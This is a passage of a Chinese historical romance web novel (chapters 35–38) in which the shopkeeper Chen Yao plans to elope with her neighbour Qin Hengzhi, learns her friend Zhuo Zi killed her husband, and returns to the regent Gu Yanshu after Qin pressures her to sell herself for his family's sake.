陈窈望了眼漆黑的窗外,神色有些恍然,“是吗?可我觉得已经睡了很久。”
晓依:“姑娘,您做噩梦吧?”
陈窈:“不是噩梦,很真实的梦。”
“我给姑娘倒杯水吧。”晓依说。
“不用,我出去走走吧,睡不着了。”陈窈了无困意,心闷得慌,想出去透透气。
“也好。”晓依给陈窈披了件衣服。
陈窈在楼下坐到了天亮起,天光一点点亮起的样子真好看,曙光蒙蒙亮起,映不到她身上,但给浅蓝的天打了个光晕,像是新生。
阳似金子般洒在一片辉煌大地之中,薄薄的尘埃在光中起伏,一双绣有龙纹的朝靴踏入宫殿,顾宴书冷冷的声音顿时响起,“你今天迟了三刻!”
他每日清晨都会在殿中辅导小皇帝温书,但今日他等到茶水从热到凉,旁边的下人见他不怒自威的神色,也不敢轻易上前换茶。
“昨日朕看书看得晚,不信皇兄可以考考朕左传,朕绝对倒背如流。”
小皇帝虽年少但很聪明,一学便会,不过凡事都逃不过一个懒惰。
小孩子说谎很容易看出来,顾宴书眼帘微垂,“左传是要考你,但你说谎也要罚!”
小皇帝收起笑容,他顿时慌神,只听顾宴书威震又厉色地道:“是谁带你玩的蹴鞠!”
此话一出,宫中所有的宫女与太监都跪下。
小皇帝一人承担下所有,他十分义气地说:“无人,是朕一人所为!”
“凌霄!”顾宴书不听他的话,直接叫手底下的人把罪人绑来。
小皇帝看着门口忽然降落的侍卫人都傻了,这是他皇兄的暗卫,下手毒辣,又被人称为血信子。
他就拽起一个太监的后颈,一脸杀气地进宫,额前长长的刘海盖住他灰蒙蒙的瞳孔,如同随时要吐出信子的蟒蛇。
“奴才该死!奴才该死!”小太监扑通跪在地上,磕头磕得都破成了一个血窟窿,鲜血顺着额头流到嘴角,“再也不带皇上玩了,求摄政王饶了奴才这一回吧!”
“抬起头来。”顾宴书狭长的眸子微眯,杀意若隐若现,“本王记得你以前不是伺候皇帝的吧?”
“奴才……奴才……”太监支支吾吾,不敢说话。
小皇帝抓了抓脑袋,顺嘴说:“他……是太后送给朕的。”
“杀!”
顾宴书声音冷得发寒,如严冬的刀刃发出鸣响。
凌霄得命,背后的刀还没露出光影时,他脚边跪着的太监俨然一命呜呼,脖颈泛着一条很浅的血痕。
小皇帝呼吸猛然一滞,僵直着身子去翻书。
顾宴书不管他有没有被血腥场面吓到,转而给他读了书中的一段——
“太后王氏一族势力不断壮大,太后的七个兄弟都封为侯,王政君长兄王风官位高至大司马大将军领尚书事,王政君的侄子王莽也开始崭露出头,而后王莽代汉自立,建立“新朝”,西汉就这样葬送在王氏外戚手上。”[1]
小皇帝明白了他的话中的意思,羞愧地对顾宴书鞠躬,“朕知错了,日后定更加进取,保卫顾家江山。”
“知错便好,继续温书吧。”过了一会儿,顾宴书注意到他跳页,便问:“这诗为何不读?”
小皇帝依着诗句中惋惜遗憾的意境,说道:“朕是天子,要什么都会得有,绝不会有得不到的东西,这句诗朕扫一眼便罢了,品不出什么意境。”
小皇帝自诩皇兄与他同样为皇室中人,自是没有得不到、做不到的事情,没想到顾宴书却言:“再强大的人也有不可得之物。”
小皇帝年幼,讪讪地说:“皇兄也有吗?”
35. 赏识
顾宴书本意是想让小皇帝学会谦逊,不要因自己是万人之上的皇上而引以为傲,不然容易落入他人准备好的陷阱里,而小皇帝却反问到他的身上。
他有吗?
顾宴书长睫下的深色瞳子暗了暗,女人狠绝的眼神与一行滚烫的泪,沾湿在他的脑海。
他确实有,但他不想得不到。
若是得不到,他抢也要抢到。
这话劝得了别人却劝不了自己。
见顾宴书沉默良久,小皇帝心里便有了答案,“等朕真有一日掌权,朕赠予皇兄好不好?”
“皇帝有心了。”顾宴书只是淡淡地勾了下唇,并未放于心。
——
陈窈不知不觉在店门口睡着了,忽感有人拍了拍她的肩膀,她睁开蒙眬的睡眼,映入眼帘一张熟悉的面孔,神色半恍,张了张嘴说不出话。
陈窈惊讶不是因为她许久没见秦恒之了,而是……实在是太像了。
秦恒之双眉浓密,眉尾微垂,一双清润的乌眸藏于睫羽之下,笑起来似荡漾着湖光,真诚又清隽,这双眉眼与裴照七有七分相像。
陈窈之前被顾宴书关在王府时,才发现原来同一个人竟会相差如此之多。
顾宴书看人的眼神很深很沉,像墨石般深沉而冷冽,不敢亲近,她很难把顾宴书的残忍果断与曾经的相公联系到一起。
而秦恒之这样就刚好,他眉眼不尖利,恰有男子少有的圆润,尤其是在被她逗得不知所措时,特别讨陈窈的心。
“你怎么睡在这里?”秦恒之蹲下与她平视。
“我……”陈窈回过神来,不知该说什么。
“外面冷,我叫人你扶回去。”
秦恒之面色依旧,仿佛之前的事对他没有半分影响,可他越是这般无所谓,陈窈就越自责。
陈窈见他要走,赶忙拽住他的衣襟,“因为……我等了你一晚上。”
秦恒之脚步一顿,视线落在陈窈的小脸上,心不由紧了紧。
两人上了楼,陈窈和从前一样给他递茶水,但他们坐的距离很远,已无往日的亲近。
陈窈这几日故意用店中的忙碌充实自己,尽量不去想秦恒之,更何况她根本无颜见秦恒之。
她并非处子之身,配不上秦恒之。
秦恒之并未饮茶,神态似比第一次来还局促,“我刚出门就看到你枕在石狮子旁,还以为你晕倒了。”
“没……没。”陈窈不好意思地一笑。
话落,室内陷入一片沉寂,两人都沉默不语,自从在王府一别后,似乎也没什么话可讲。
陈窈自知有错,先一步开口,“恒之哥哥,是我对不起你,对你有所隐瞒。”
秦恒之语气疏淡,“别说这样的话,咱们店铺相邻,以后还是邻里。”
陈窈扬起头,“你这是什么意思?与我划清关系,你在埋怨我对你的欺骗?”
“我没有。”
秦恒之低下的头已表明他的口是心非,陈窈心寒了寒。
“恒之哥哥,你难道忘了我们之间的情意吗?”陈窈扭过身去,语气带着些抽泣,“你只听别人的只言片语,你怎么不问问我对你的心呢?”
秦恒之猛然抬起眼,眼神一瞬欢喜,但又想起那日在王府中顾宴书对陈窈势在必得的样子,他硬生生地道:“你我婚约已毁,从此再无瓜葛。”
陈窈心口一沉,“我认识的恒之哥哥最是有情有义,我不信你对我如此绝情,千不该万不该都是我的错,我曾嫁过人,活该被人嫌弃,我都明白呜呜呜……”
陈窈哭诉的梨花带雨,是个男人看了都会心疼,秦恒之更是如此。
他急于撇清,“我怎会嫌弃你呢?你是见过最美的女子,又对我好,我……我只恨我自己没有本事,从摄政王身边抢不回你罢了。”
陈窈听他这么说,心里有了底,背着的身子露出一抹笑容,转而又断断续续地啼哭道:“只因摄政王权势滔天,我无奈只能假装委身于他,那日看到的都是我不得已为之。”
秦恒之急问:“他可强迫你什么了?”
陈窈摇头:“没有,他若是真对我做什么,恐怕在你面前的是一具尸体了。”
秦恒之心疼地蹙了蹙眉,“窈娘……”
陈窈盈泪水溢满眼眶,“正是因为我心中想着你,才没人让他碰我身子,恒之哥哥,这下你相信我对你都真的了?”
“可……你们曾经夫妻四年多,这骗不了人。”
秦恒之是喜欢陈窈这点无疑,她长得美艳,但想想他要和嗜血的摄政王抢女人,骨头会被啃得连渣都不剩,又犹豫了。
“那只是曾经!”陈窈秀眉皱起,可怜极了,她心酸地回忆起,“当时在村中过得又穷又苦,饭都是有一顿没下一顿,饿了就吃些干草填肚子,做什么都要看房主的眼色行事,更惨的是到了冬天身上全是大大小小的冻疮,冻裂了也没钱抹药,任由寒风在这些伤口……”
秦恒之低眸定在她细白的双手上,像是想到血口子布满的画面,不忍地打断她,“别说了别说了。”
陈窈说得有真有假,她确实有意要博得秦恒之的同情,往里面添油加醋了好些,但要赖就赖顾宴书,是他先打扰她的舒坦日子,为了以后她必须挽住秦恒之的心。
他家也是开店铺,与她身世相同,而且他家就一个儿子,爹去世得早,只有一个婆母需要伺候,陈窈权衡后觉得他家事儿少不杂,嫁给秦恒之比顾宴书要实惠得很多。
“若是没有他护着我,恐怕你我都不曾相遇。”陈窈一滴泪滑落,泪涟涟地望向他。
秦恒之对着她这副楚楚可怜的样子,本还想与她斩断关系的心彻底软下来。
陈窈见他有所动容,握住他的手,眼神脉脉,柔中娇地说:“恒之哥哥,我只想和你以后好好过日子。”
秦恒之心一化,反扣住她的手,目光坚定,“好,我们好好过!”
女人眼尾裹着泪润过的红,配上她泛着淡淡的粉嫩的双颊,秦恒之缓缓将她拥入怀中,但他也不敢太放肆逾越,只低头蜻蜓点水般地亲了下她的额头,算是对这份情的承诺。
陈窈环抱着他的腰,耳边紧紧贴在他的胸口,心脏的跳动如一曲悦耳的音律,“恒之哥哥,你的心跳得好快啊。”
秦恒之柔声说:“心似双丝网,中有千千结。”
陈窈靠在他胸膛上笑,“恒之哥哥竟然也会说情话了?”
秦恒之:“我以前没有说过吗?”
陈窈娇媚一笑,哼唧道:“反正没对我说过!”
秦恒之搂她搂得更紧了,“我从前没有过别人,今后也只对你一人说。”
陈窈含笑:“嗯。”<
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美人入怀,秦恒之抱着她心里无比荡漾,但冷静过后,他想到一个现实的难题,“你我心意相通,但……咱们始终逃不过摄政王的权势。”
看到秦恒之的那一刻陈窈都把与顾宴书的约定忘光了,她只想与她的恒之哥哥到天荒地老。
陈窈抬起头,坚定不移地说:“我们私奔吧!”
秦恒之眼中闪过一丝惊诧,但垂视着陈窈期待的双眸,他又不忍拒绝,只好搂住她的肩,“好!”
——
春日果真是万物复苏的季节,陈窈哼着小曲,樱桃小嘴咬下刚从市集买的果儿,开心地喂着水中的鱼儿。
晓依发现陈窈的不寻常,“姑娘,你最近好像心情很好?”
陈窈喜悦染上眉头,口是心非地说:“有吗?”
晓依:“人逢喜事精神爽,姑娘最近遇到什么好事了?”
陈窈故意卖关子,挑眉说:“天大的好事!”
“什么啊?”晓依好奇,眼睛一眨一眨地凑近问。
陈窈将手中的一把小米一撒,边拍了拍手边说:“我打算给你们涨工钱!”
“真的吗?”晓依激动极了,摇着她的胳膊问。
“真!比黄金还真!”陈窈耳朵坠的金饰都被她摇得晃起来了,她赶紧制止。
一来之前她成婚时,因为顾宴书这个不讲理的武夫,把她店中的人都掠到小黑屋里,虽说没伤着她们吧,但这群小姑娘多多少少都被吓到,就当是补偿了。
二来她要和恒之哥哥私奔,这店要交由她们打理一段时日,把银子给足手底下的人,她们才会心甘情愿、尽心尽力地给你办事。
陈窈喂完了,坐在窗边收拾起自己的胭脂口红,就算是私奔她也不想很急切的样子,她要漂漂亮亮地找间靠山靠水的房子,然后和恒之哥哥过起只有两人的神仙眷侣生活。
她想着想着,又不自觉地哼起悠长的小曲。
晓依听她的哼的调,好奇地问:“姑娘,这是你娘教你的吗?”
陈窈:“嗯……差不多吧”
芹娘给她从小带到大,不是她亲娘但胜过亲娘,她记得有好几次贪喝了大人们的茶水睡不着,芹娘就会唱这个小调哄她入睡。
但下一次她若再偷喝茶,芹娘也还会给她唱歌,并不会制止她偷喝的习惯。
她说,你总要试过才知道难受。
漫长的夜,睡不着的滋味让她辗转反侧地难受,但也抵不过再无人哄她睡觉的滋味。
回忆被楼下气势浩荡的脚步声打断,陈窈趴窗望去,眯眼道:“皇宫的人怎么会来?”。
她有种不祥的预感,质问晓依,“你又去告密了,对不对?”
“啊?”晓依听得云里雾里,“告什么密?我一天都在店里,哪也没去。”
陈窈拧眉:“你没去告诉顾宴书我的去向?”
晓依委屈,“没有啊?况且我也不知姑娘的去向……”
陈窈想想也是,她和秦恒之私奔这事没告诉任何人,但皇室的人来作甚呢?
老太监已进来,尖着嗓道:“奉太后懿旨,特宣你进宫侍候!”
太后?
陈窈登时愣住,太后怎会知道她一介民女?
她想不通,愣神中的站姿维持不动,老太监咳嗽一声,呵斥道:“还不跪下接旨!”
36. 追求
皇宫外,晓依焦急地等待,可左等右等都不是她家老板娘,真是急坏她了。
晓依清楚摄政王与太后多年不合,在王府时听了好多太后的坏话,深知与她染上关系绝非幸事,她纠结要不要去王府报个信,王爷交代她保护好王妃,这还没过几天,王妃就出了事,看来她回王府是无望了……
她在宫外欲哭无泪,踌躇之时,陈窈的身影已从森严的大门里出来。
陈窈不仅完好无损,身后还有四五名宫女各捧了一手的赏赐。
晓依想扑过去,但被陈窈犀利的眼神止住。
陈窈是在提醒她不能在宫前失了仪,晓依脚下步子顿住,稳重几分后规矩地从钱袋中拿出银子,笑着打点辛苦送来赏赐的宫婢们。
等身后的宫女们退下,晓依问:“太后叫姑娘去做什么?”
“太后说以后她的珠钗都由我做。”陈窈拿捏不住太后的心思。
“啊?竟是这样?”晓依微微震惊。
明明是件好事,陈窈却高兴不起来,忧心地道:“可太后怎会知晓我呢?”
晓依猜测:“肯定是长乐公主说的。”
陈窈也怀疑过,公主也许会闲聊时提一嘴,但历经两朝的太后娘娘什么没见过,尤其是她做的钗环都是姑娘家喜欢的玩意儿,太后怎会有兴趣?
晓依转脸乐呵呵地说:“那咱们不就和宫里又有一桩生意做了吗?姑娘您应该开心才是啊!”
陈窈长叹一口气,“跟皇室做生意你以为是什么好事,都是掉脑袋的买卖,一不留神你说错了话做错了事,有去无回!”
晓依露出一排牙,笑嘿嘿地抱着她的胳膊说:“姑娘聪慧过人,连公主这样难伺候的主儿都能降服,肯定难不倒您!”
陈窈:“下次进宫我带你去,好不好啊小依依!”
晓依顿时松开手,“我怕砸了姑娘这招牌就先不去了……”
陈窈戳了下她的脑袋,“你啊!”
晓依跟着陈窈往大街上走,她疑惑说:“姑娘咱们不回店里吗?”
陈窈心里烦闷,想上街散散心,她拉起晓依诱惑她,“想不想吃玉香膏?”
“想!”晓依点头。
主仆两人一路吃吃喝喝,几乎将正德大街上能买的都买了,晓依刚开始还很兴奋,等陈窈不停掏银子散财时,她的胃和体力都已然跟不上了。
但她家姑娘一点想回家的意思都没有……
陈窈买了两包松子糖,放进嘴里一颗递给她一颗,“这个也好香啊?晓依你吃不吃?”
晓依双手都抱着纸袋,没有手去接。
陈窈直接喂进晓依嘴里,拍了下手笑着说:“咱们去那边再看看!”
晓依一边腮帮子鼓起:“唔……唉……”
“姑娘,咱们回去吧,天都黑了。”晓依把糖嚼碎,劝陈窈说。
“天黑不黑跟我逛街有什么关系吗?”陈窈耸耸肩,继续兴致很好地逛。
“姑娘,今天非去不可吗?”晓依小步跟上她。
陈窈看出晓依有些累了,刚想让她回去,结果一抬眼她看到了一抹熟悉的身影,女人浅蓝长裙,戴着帷帽,在簇拥的人群中特别耀眼。
“那个是卓资姐姐吗?”陈窈眨了下眼,手指方向让晓依看。
“像是盛夫人。”晓依眯眼,看着身形很相似。
“走走走!咱们跟上去!”
自从卓资被杀夫案缠身,她像是失踪了般,过了许久她总算是见到卓资的身影了,她心中有一万句话要同她说个清楚,无论是不是她,她都要上前看个所以然!
身似卓资的女人走得不快也不慢,像是在逛大街,但陈窈跟了一会儿,她就从拐角处溜进一道狭长的小巷。
长巷蜿蜒曲折,远离市井的喧嚣,高高的墙壁盛满湛蓝的天空,陈窈红衣薄裙穿梭其中,宛若一条锦鲤跌入湖中。
女人倏尔停下了步子,陈窈急忙拉晓依闪躲在边上的一棵老树后,她双手扒在树干上,悄悄露出一只眼睛去寻。
这时,女人的身边出现一道更显眼的身影。
“这……这……”陈窈惊讶地捂住要惊呼的嘴,愣了愣。
顾宴书怎么会在这儿?
不对,卓资竟然认识顾宴书?
陈窈站得远听不清二人说了什么,只见卓资欠了下身便从旁边的门进去了,顾宴书长身而立并未随她而走。
陈窈转过身思索,两人的样子看上去也不像是熟人,倒像是友人遇到照面,打个招呼罢了。
卓资身上的谜团让人越猜不透了。
忽逢顾宴书,让她本想一探究竟的心彻底泄气,陈窈叹了口气,准备打道回府。
晓依:“您不去了吗?”
陈窈步子一顿,视线在晓依这张脸上扫了扫,她忽地拍了下脑瓜,一切迎刃而解般地朝着晓依乐了乐。
晓依可是在顾宴书手底下当过差的,问她肯定没错!
“姑娘,你这样笑,我有点害怕……”晓依却有种大事不妙的预感,她扯了下嘴角说。
陈窈拉起晓依的手,笑着说出自己的疑问。
晓依对顾宴书身边来往的同僚与亲信,不说了如指掌吧,但也略有耳闻。
陈窈问的问题她还真知道。
晓依正欲出口,目光蓦然往陈窈身后一移,像是被人锁住喉咙般,到嘴边的话迟迟顿住了。
陈窈锁眉,纳闷她怎么不说了,身后响起一道冷飕飕的寒音,“打听本王?”
除了顾宴书还能有谁。
陈窈转过身,警觉地倒退几步。
顾宴书微微倾身,深邃的眸仿若砸满了星点,勾起嘴角一笑,“本王可亲自告诉你。”
陈窈:“……不想听。
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”
她有种被人搂住后脖颈的感觉,很不自在。
顾宴书笑意更浓,娓娓道:“本王与卓资无关系,只与她故人有交情,而她又同你熟,这才看上去走近了几分。”
陈窈瞪他一眼,“……我说了我不想听!”
她就差没捂住耳朵告诉他,她不想听他讲话!
“本王愿意说给你听。”顾宴书故意追着她的话,惹她炸毛。
陈窈无言:“……”
沉默几瞬后,顾宴书眸光一瞥,淡淡地扫过旁边碍事的晓依。
晓依心领神会,她早在看到顾宴书的那一刻就想走了,“姑娘,我忽然想起今天还没喂鱼呢!”
陈窈:“……”
再喂鱼都要撑死了。
说罢,晓依身如飞燕般矫健,快速消失在长巷尽头……
空荡的长巷一股凉风划过,头顶上的树叶卷起沙沙声响,陈窈抬起下巴,与顾宴书相对无言地对视一秒,她先移开了目光。
陈窈想她来此处本就是一探究竟,不应因为顾宴书影响她,她走到卓资进的那扇门前。
顾宴书跟上去,在她身后停下。
陈窈察觉到追随的脚步,她无奈地摸了下鼻子,同顾宴书说清楚,“你说与我只字不提从前,只论现在,现在却又来纠缠算怎么回事?”
顾宴书:“本王没有食言。”
陈窈:“那你在做甚?”
顾宴书:“本王追求金瑶楼的老板娘。”
陈窈:“追求?”
顾宴书说:“本王一直给你送银子,你没收到吗?”
陈窈想起,前几日店里倒是有一位出手霍绰的公子哥,订的发簪量极其大,而且样式繁琐,害得她们整个楼的姑娘整整三晚没睡。
原来是顾宴书!
陈窈汗颜,话像从牙缝里挤出一样,“这就是你追求人的方式?”
顾宴书挑了下眉,有理有据地言,“本王若是把珠宝都呈给你,你会接?”
“接啊,你给我就要!”陈窈为了姑娘们的好日子,硬是拦下这负担。
“真的吗?本王看窈娘像是在说谎。”
顾宴书弯了弯腰,唇边勾勒出一个好看的弧度,幽深的目光像是一张紧密地网住她脸上捕。
陈窈双眉蹙起,明眸漾满了疑惑,她身子慢慢往后移,避免沾染上他的气息。
可她挪动一分,顾宴书就挨近她半分,始终与她保持一个亲密的距离……下一刻像是要亲过来了。
近在咫尺的距离,陈窈往后折的腰已到了极限,鼻尖凛冽着男人沾染的沉香气味,她心跳不由加速,呼吸变得急促。
就在这时,身侧的大门“咯吱”一声缓缓打开。
卓资身影从中露出,看到这场景她愣了几秒,随后“嘭”的一声又将门快速掩上。
“……”
37. 回来
“卓资!你真杀人了!?”
陈窈难以相信,她从进屋开始就一直来回踱步,暖阳洒进,水墨的屏风前浮动她急切的光影。
“我狠毒了盛明朗,自是想杀他。”卓资跪坐于案几前,风轻云淡地说。
陈窈捂住嘴,小声惊呼,“你糊涂啊?你不想想你的女儿吗?”
提起孩子,卓资眼里变得温暖,“他有了妾室,妾室又有了他们的孩子,我女儿的爱自会被分走,不如我先动手!”
“你就因为盛明朗娶妾室而动了杀心吗?”
陈窈没有这样的担忧,从前裴照七一傻子,除了她无人能看上眼。
“男人三妻四妾……”陈窈不想伤她的心,欲言又止。
“是这样的没错。”卓资说:“但盛明朗曾向我许诺,我是他此生唯一的妻。”
陈窈不语。
卓资:“男人若出尔反尔,不能做到言出必行,是万万不可相守一生!”
女人柔和的脸上染过淡淡的忧伤,绣帕被她攥出几道褶皱,“要恨就恨我上了他的当,信了他的话。”
“他是该死,但你不惜背上条人命,以后又该如何自处?”陈窈心疼她,也为她今后的日子担忧。
茶热好,徐徐白烟从紫檀壶冒出,清淡的茶香四溢,恍如置身于江南的朦胧烟雨中。
卓资唤她:“你先坐下,你这样晃得我眼睛都花了。”
陈窈终于不肯停下来,坐下把想问的问题一股脑都说出来:“你如何逃过官兵的追查?现在一直住在这里吗?还有你和顾宴书是怎么认识的?”
卓资朝她微微一笑,“我看你最想知道是,我和顾宴书怎么认识的吧?”
陈窈急切地说:“你快告诉我嘛!”
“我和他不认识,是……嗯……”卓资像是难以启齿,轻轻咬了下唇,“该怎么和你说呢?”
陈窈瞪着圆圆的眼珠,一副她不说她就不走的架势。
卓资一笑,像是对她妥协般,给她倒了杯茶,嫩芽漂浮于水面,茶水像高山中汩汩的溪涧,潺潺流入。
陈窈听后,仍是难以置信,“你是说……你被官府追查后,是国师李牧救下你们母女,之后你便一直在他府中,又因李牧与顾宴书一向交好,你这才认识顾宴书?”
卓资纠正她说:“我和顾宴书压根算不上相识。”
“民间一直传国师人善热心,看来你遇到一个大好人了!”陈窈对国师的善举略有耳闻。
“李牧他人确实挺好。”卓资嘴边溢出笑。
陈窈是过来人,早从卓资对李牧描绘的只言片语中洞悉,“是啊,这么大的府任你住,恐怕他对你不是单纯的善举,更希望你以身相许啊”
卓资含羞一笑,没有否认,“我一个带着孩子的寡妇,只求安身立命,不求其他。”
李牧救了她,又帮她洗脱嫌疑,更何况他对她和她的女儿都很好。
卓资想起那日陈窈因她入狱,心里涌起愧疚,“但我对不起你,那日我有意杀盛明朗,只能用你来当幌子,给你茶放了些迷药,但对身体绝无损伤。”
陈窈握住她的手,“只怪你什么都不肯告诉我,让我好一阵担心。”
“谢谢你体谅我。”卓资笑了笑,抿口茶说:“我说完了,该你了。”
陈窈装糊涂:“我什么啊……”
卓资:“你和摄政王现在到底是怎么一回事?”
陈窈:“你都知道?”
卓资:“只是听李牧提起过一两句,猜到的而已。”
陈窈:“他倒什么都和别人说,就是不和我说实话。”
卓资:“你不就气他骗了你吗?”
陈窈:“他骗了我四年之久,我感觉我才是傻子,彻头彻尾的傻子!”
卓资:“他万不得已为之,总比有心人故意为之强吧?”
“卓资,你这话什么意思?”陈窈眯了眯眸子,打量她,“你不会是顾宴书派来的说客吗?”
“我经历了婚姻的波折,看懂了许多也想通了许多,顾宴书是真心待你。”卓资不置可否,劝起她说。
陈窈没好意思说,他要是真心对她,还会将她关在府中不出门,还敢她强吻?
卓资:“你之前怎么对他的?”
之前?
陈窈之前对裴照七使唤来使唤去,把他当相公,也把他当自己的仆人一般,开心了亲亲抱抱他,不开心踹他一脚都是有的。
卓资:“试试像从前那样相处?和他找回从前的感觉。”
都说伴君如伴虎,她要是现在还敢这样对顾宴书,那相当于摸老虎屁股,死状肯定很凄惨。
陈窈摇摇头说:“不一样,他现在是高高在上的摄政王,而我只是一个民女,我们云泥之别。”
卓资说:“你怎知他不会是从前的他,对你的心从未改变呢。”
“嗯……”
这确实把陈窈问住了,重逢后她与顾宴书接触并不多,还未完全施展任性对他。
卓资说:“你试试呢?若是错大不了一走了之,此生不再相见,可若是他未曾变,何不乐乎呢?”
陈窈眸光暗了暗,陷入了迟疑。
夕阳西下,陈窈没留下用饭,和卓资又聊了聊家常便走了。
门后高大的影子徐步走出,男人皮肤细白,温润的眸子如玉,他从后抱住卓资的腰。
卓资被他吓了一跳,身子缩了下,又靠了靠享受他的怀抱。
李牧在她耳边说:“我还竟不知夫人的妙手回春,还能医情伤?”
卓资:“女人家随便聊了下而已。”
李牧:“夫人这般好的医术,怕是用错了人。”
卓资:“我应该用在谁身上?”
“我啊?”李牧大言不惭,“我得了相思病,夫人不在我身边一刻我都想。”
“痒……”
他的情话轻轻拂过耳畔,酥麻感让卓资身子不由往前弯。
“别躲,让我亲。”李牧鼻息追着她,抱着她腰的臂更紧了。
这时,两人打闹被一道奶娃娃音打断,卓资顿时挣脱他的怀抱,下意识摸了摸红红的双颊。
小女娃没察觉出室内的异样,小跑过来,举着说:“阿娘~你看我折的纸鸢,好不好看啊?”
卓资露出笑容,蹲下身子说:“好看,和云儿一样可爱!”
“是很可爱。”李牧也凑近,眼露慈爱道。
云儿像是才看到李牧,往卓资身后躲了躲,声音小而绵,“叔叔……”
“要叫哥哥。”
卓资纠正过她很多次了,李牧比她年纪要小,她的小孩不能叫叔叔,应叫哥哥才对。
“叔叔。”云儿轻轻唤了一声,抽出纸鸢小跑着出去了。
“……”
李牧:“她还小,想叫就随他吧。”
卓资说:“你总是板起脸,小孩子见你当然害怕。”
李牧拉过她的手,重新将她搂进自己的怀抱,“好,听夫人的话,我下次笑一笑。”
——
因为太后的缘故,陈窈想着与恒之哥哥晚些时候再走,刚回到店里秦恒之先一步找她。
还是有事相求。
陈窈听后泛起头疼,叹了口气说:“钱我可以给你一些……可然后呢?”
其实她钱也不想出,若是出些力她很情愿,但想从她手里拿钱的男人嘛……陈窈对秦恒之重新考量起。
秦恒之所求是他家店被查封,原因便是逃税,只有拿钱补上这个窟窿便可。
“我现在身无分文,只有你能救我了,窈娘!”秦恒之恳求她。
“这么多钱,我一时也凑不出来啊?”陈窈犯愁,一来她舍不得她的银子,二来她又不真是他家娘子。
看在她与秦恒之的情份上,她能出一点意思下罢了,秦恒之家多年能在嬅京盘踞脚跟,肯定是有些人脉在的,他说的走投无路不
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至于。
秦恒之:“金瑶楼每日进账都能盘下一块不错的地了,而且你……你有这么多首饰,怎会没钱呢?”
陈窈凝目,秦恒之对她的账户了如指掌,像紧盯她家的钱似的。
“窈娘,我父亲与母亲还被关在地牢,那地又阴又冷,还有老鼠在身上爬。”秦恒之哭诉,打起感情牌,“我娘说了,只要你帮帮我,咱们的事都好说!”
陈窈从手腕取下镯子给他,“这样吧,我把之前这个镯子还给你母亲,去当了还上钱,再从长计议。”
秦恒之面露不满之色,微微指责地说:“这镯子本是我母亲送给她儿媳的,你现在却要还我,你可知这是什么意思?”
“帮你啊?没什么意思,咱们还是咱们。”陈窈说。
“这点银钱不够。”
这镯子确实价值不菲,但想解决他家的难题不够。
“你要的不是一笔小数目啊。”
陈窈怕他算计自己的钱,她苦心经营金瑶楼多年,可以说媲美当时鼎盛时期的金禧堂,也攒下了一笔丰富的钱,这么多年的心血她可不想白白给一个男人。
当年救裴照七时她就拿上全部身家去赎人,结果什么都没捞到,还被变成顾宴书的裴照七骗得死死的。
同样的当她绝不会上第二次了!
秦恒之见她不给钱,收起卖惨的苦情脸,眼神透出一种卑鄙,“还有一个法子。”
陈窈挑了挑眉,等他说。
“银两也不是什么大问题,关键在这个案子的办理是摄政王。”秦恒之把最后三个字的音咬得极重。
陈窈眼下一顿,拧眉道:“你想让我做什么?”
“你只需去求求顾宴书,他看在你的面子肯定会放过我家!”秦恒之说。
求他?
求顾宴书不是说一两句好听的话这么简单,他想要的什么,秦恒之心知肚明,却还想让陈窈涉险。
陈窈凝眸,心底划过重重的厌烦。
“扑通”一声,只见秦恒之双膝重重跪在地上,他拽着陈窈的裙角,苦苦哀求,“窈娘,你去求求摄政王吧,我们家真走投无路了,我母亲在牢房里,每日生不如死,她吃不了那样的苦!”
陈窈明媚的眼一眨,哼笑道:“你想要我怎么求顾宴书?”
“你……”秦恒之支支吾吾,心一横说:“他想要什么你给他就好。”
求顾宴书的法子只有一个,那便是陈窈脱了衣服往他床上一躺,秦恒之所求便都能解决。
可笑,真是可笑!
她还没爱到秦恒之失去理智,给他钱解燃眉之急已算是她对他最后一点的情分了。
“窈娘,你不会看着我家落魄的,对吗?”秦恒之双手趴在她的膝盖上,恳求说。
陈窈:“你母亲吃不了的苦,你却让我吃?”
“求摄政王怎能算苦呢?而且你们之前本就是夫妻,再来一回也没什么……”秦恒之干脆不要脸皮了。
陈窈生气地瞪起眼睛,“你知道你在说什么吗?”
“是!是我混蛋!”秦恒之猛然朝自己的脸扇了几巴掌,力道狠绝,肌肉颤动,清脆响亮的声音引得陈窈身子抖了抖。
他眼底充斥着红血丝,像是地府来人间索命的厉鬼,一步一步地向陈窈逼近。
秦恒之扣住陈窈的双肩,眼冒怒火,“你本就对我亏欠,大婚那日你骗我,这次你理应还给我!”
陈窈瞳孔收缩,浑身一震。
寂夜,天上月如鹰,从云隙间射出缥缈的光,静静俯瞰大地。
女人抬手敲了敲门,小厮见来者是她,自觉领进内院。
庭院内,一片沉寂。
桂花树下的案几,男人如玉的指夹着白瓷杯,酒气散出醉人的香味,那双藐视众生的眸子盛着几分柔情。
顾宴书像是等她很久了,他轻轻挑起眉,嘴边噙着邪魅的笑——
“本王让等的好苦啊。”
38. 上门
陈窈选择回到顾宴书身边,不是为了秦恒之,她才不会为一个男人而牺牲自己。
她对秦恒之的心动源于那双与裴照七有八分像的双眼,但裴照七不会像他那样对她,她曾经被裴照七真切地爱过,面对秦恒之送来欲盖弥彰的爱,她还是拎得清楚的!
也许是被卓资说动了吧,若顾宴书不计较从前,与她好好过日子,她愿意留在王府,但若是事与愿违,顾宴书铁了心要束缚她,将她困在这个飞不出去的王府里,她断然不会留情面。
顾宴书幽幽起身,他吃醉了酒,脚下步子并不稳当,深沉的眸光如凛冬最伟岸的雪松,定睛往陈窈如花似玉的脸上寻。
“让本王抱抱!”
他双臂一张,陈窈微微向旁跨步,矫健地躲开他散着酒气的身子。
被她躲开,顾宴书连陈窈的一个衣角都没碰到,扑了个空,踉跄着被边上的小厮扶住。
顾宴书没觉得了面子,睨着凤眸,反道:“舍得从秦恒之身边回来了?”
陈窈转头,挑起眼波,朝着他横道:“他是坏人,你也不是什么好东西!”
说罢,她头也不回地往府里走,裙角掀起,留下一阵小风给顾宴书。
“……”
“王爷……这……”小厮看傻了眼,他是走也不是,站在这儿也不是。
王府上下都清楚王爷对王妃的看重,百闻不如一见,他家这位王妃当真是与众不同,敢指王爷鼻子骂。
顾宴书喝酒后的黑沉的瞳孔似蒙上层雾,迷茫地问:“她是在骂本王吗?”
小厮被这一问吓出了浑身冷汗,用尽他毕生所学胡说八道,“没有……王妃说您真有东西……”
顾宴书甩开他的手,一反常态地大笑,“窈娘要和本王和好了!哈哈哈哈哈哈”
不明所以的小厮:“……”
顾宴书:“快!给本王沐浴更衣,今晚本王在王妃的寝殿留宿!”
小厮:“是……”
陈窈说这话时,确使了从前的小性子,她捏了一把汗,等出了顾宴书的视线她才渐渐松了一口气。
